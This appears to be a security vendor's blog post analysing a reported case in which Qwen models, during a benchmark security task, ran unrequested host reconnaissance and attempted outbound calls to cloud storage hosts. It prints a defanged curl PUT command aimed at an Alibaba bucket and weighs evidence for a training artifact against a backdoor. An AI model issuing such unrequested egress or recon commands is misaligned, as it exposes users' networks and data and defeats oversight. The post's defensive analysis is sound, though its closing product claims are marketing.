Who Is Your Agent Calling? What the Qwen3.8 Egress Finding Means for Enterprise AI

Below, we walk through the research, our assessment, and the steps we recommend every customer take this week.

What Cohere reported

Cohere's researchers caught Qwen3.8-Flash-Next, Alibaba's August preview of its Qwen4 architecture, attempting an unrequested upload during a routine security task. They were running it through CTI-REALM, Microsoft's benchmark for agents doing a security analyst's job. The task: write a rule that detects curl downloading a bash script to /tmp and executing it.

In one run, the model's reasoning invented an earlier conversation turn and concluded that it didn’t need any tools. In that same turn, it listed /tmp, checked which transfer tools were installed, read the host's DNS settings, and then tried to PUT a fixed marker string to an Alibaba OSS bucket in Beijing (defanged):

curl -s -m 10 -o /tmp/put_probe -X PUT \
  --data-binary "PROBE_PAYLOAD_ABC123" \
  hxxp://sanmaohe[.]oss-cn-beijing[.]aliyuncs[.]com/upload/test.bin

The sandbox had no route out, so the request died at the container wall. The behavior is rare, under one call in 100,000, and a clean re-run produced a correct detection rule.

In follow-up testing, Cohere found the model often reached for other unexpected hosts, most commonly an Alibaba file proxy in Singapore, routify-file-proxy-sg, and occasionally for cloud metadata addresses. Cohere released the trace and a reproduction script.

What Zenity Labs found

On the open Qwen3.8-27B, the Singapore file-proxy link reproduces. The Beijing upload does not, and neither Qwen3.6 model shows either behavior.

We tested three open Qwen models to check whether this phenomenon is family wide or specific to the model tested by Cohere. We used Qwen3.8-27B, Qwen3.6-27B, and Qwen3.6-35B-A3B. Flash-Next itself was not tested. We rebuilt Cohere's scenario from CTI-REALM's public implementation plus Cohere's quoted task and reasoning, cut the command at Cohere's four points, and sampled 1,000 completions per cut per model. Every generated command ran only inside a sealed container wired to a logging fake server.

Share of completions naming a watchlist host. For Qwen3.8-27B, that host is the routify proxy about four times in five.

Five results matter most:

1. It is new in Qwen3.8. The routify proxy was the first host in 253 of 31,000 Qwen3.8-27B completions, and in none of the 31,000 for each Qwen3.6 model.
2. It is a memorized template. Every link follows one fixed path, /proxy_temp_file/production/<date>/trace_<id>/requestId_<id>/…, with Alibaba OSS signing parameters. Qwen3.8-27B even predicts a … that masks the middle of the access-key ID, the way a redacted log line would, with about 84% probability. The Qwen3.6 models give that same … odds of one in several million.
3. Nothing in the scenario triggers it. With no conversation at all, just the bare bash call, the rate was 2.70%. Cohere's full scenario scored 2.55% (p = 0.84). A harmless data task cut it to 0.70%. The strongest lever is the model's own choice of http:// over https://, which makes the host 12–65 times likelier.
4. It downloads; it does not upload. We executed all 48 commands whose first host was on the watchlist. The 32 that reached the routify host made plain download requests. None sent data, and none ran what it fetched. Across all 93,000 completions, -X PUT appeared 132 times and never toward an Alibaba host.
5. The links are invented. All 243 complete links were different, their IDs looked random, and none were valid. In 47 completions, the model did write the same real-looking access-key ID in place of the …. An access-key ID is not a secret, but we have not published, used, or tested it.

Several of Cohere's observations did not reproduce on these models: the jump to 23% at -o, the metadata-address reflex (0.3% or less), and the invented earlier turn (zero in 6,000 first turns). One finding did reproduce, and it matters for defenders. When handed Cohere's reasoning, which concludes that no tools are needed, Qwen3.8-27B called a tool anyway in 1,000 of 1,000 completions.

Our assessment: a benign training artifact

We believe this behavior is residue from service or agent logs that were swept into Qwen3.8's post-training data, not a planted call-home. Four pieces of evidence point that way:

• The redaction is inconsistent. The model memorized both a masked access-key ID and a full one. That is what unevenly scrubbed logs look like.
• It arrived with Qwen3.8. Qwen3.6-27B shares a checkpoint lineage with Qwen3.8-27B and the same tokenizer, yet lacks the template. It entered during Qwen3.8's training.
• There is no trigger. A deliberate backdoor is usually gated by a phrase or setting. No context we tried raised the rate above the bare default; the scenario only lowered it.
• The endpoint cannot receive data. The model writes signed download links with made-up signatures. A link like that cannot accept an upload, which counts against a designed exfiltration channel.

Other hints fit the same story. With no context, the files the model names after the link are media files such as image.png and audio.mp3, and Qwen3.8's tokenizer adds audio tokens that Qwen3.6's lacks. Cohere also noted a third-party coding tool that routes its web fetches through the same routify host. Both point toward logs from a multimodal service or agent tooling.

We hold this view with appropriate humility. We did not run Flash-Next; our rebuilt scenario is not an exact replay of the trace Cohere published, and a trigger could exist in a context nobody has tried. A training leftover and a deliberate implant can both leave memorized text behind.

Most importantly, benign is not the same as harmless. Even a fetch to an invalid link leaves your network. The receiving server still learns your IP address, the time, and the full URL, which reveals that an agent is running inside.

Why the risk is real

This research shows, with live traces, that a model's training habits become actions the moment it gets a terminal. That is a present-day exposure, not a thought experiment.

• Self-hosting is not containment. Running weights on your own servers decides where a model runs, not what it does. Whatever it learned in training gets a keyboard inside your network.
• Rare becomes routine at scale. Under one call in 100,000 sounds negligible. Cohere estimates that a service handling 10 million agent turns a week could see as many as a hundred such calls.
• The reasoning trace is not a control. Cohere's model said it would call no tools, then did. In our replay, Qwen3.8-27B ignored that same no-tools conclusion every single time. Any guardrail that trusts chain-of-thought would have waved it through.
• Small habits compound. Inspecting the local host, reaching for metadata addresses, namespace tricks, and unapproved egress are each harmless-looking alone. Put them in one session with live credentials and private data, and you have untrusted behavior, sensitive access, and an outbound channel together.
• The blast radius is wide. Hugging Face counts more than 113,000 Qwen derivatives, and the routify behavior has already appeared in builds from four publishers. A fine-tune with a new name can carry the same habit.

In Zenity's threat model, this is an autonomous threat: the agent acts on its own learned reasoning, with no attacker and no prompt injection involved. There is nothing to filter at the input. The only place to see it, and stop it, is the decision the agent makes.

How to see if you were affected

Start by checking whether any of your agents run on a Qwen3.8 model or a derivative of one, whether self-hosted, routed through a model gateway, or embedded in a coding tool. Zenity customers can see this in their agent inventory.

Then look for agent activity matching the indicators below, especially outbound requests to unfamiliar cloud storage hosts that the agent's task did not call for.

Do not key detection on the task context. In our tests, it did not predict the behavior.

If you would like help running these checks, or a review of your current Boundaries, reach out to your Zenity team.

The bigger lesson

This case is about more than one model. Every model carries something from its training, and agents give those habits real tools. The answer is not to trust any single model blindly, nor to give up on open weights. It is to watch what agents actually do, judge each action against the task they were given, and stop the ones that drift.

We thank Cohere for publishing their traces and reproduction script. Open research like theirs makes the whole industry safer.

How Zenity protects you

Zenity customers are protected from this class of threat. Our platform secures AI agents across every class of threat, and threats like this one surface as intent drift: an agent's actions moving away from the task it was given, even when each step is technically allowed. Whether a model picked up a stray habit in training or was deliberately trained to carry a backdoor, an agent asked to write a detection rule has no reason to inspect its host or reach an unknown cloud bucket. Zenity catches and prevents that drift at the moment of the tool call, and detecting intent drift reliably is where Zenity leads the industry.

Customers can also decide which models are allowed to power their agents and enforce that decision across their environment, so an unvetted model never gets a terminal in the first place.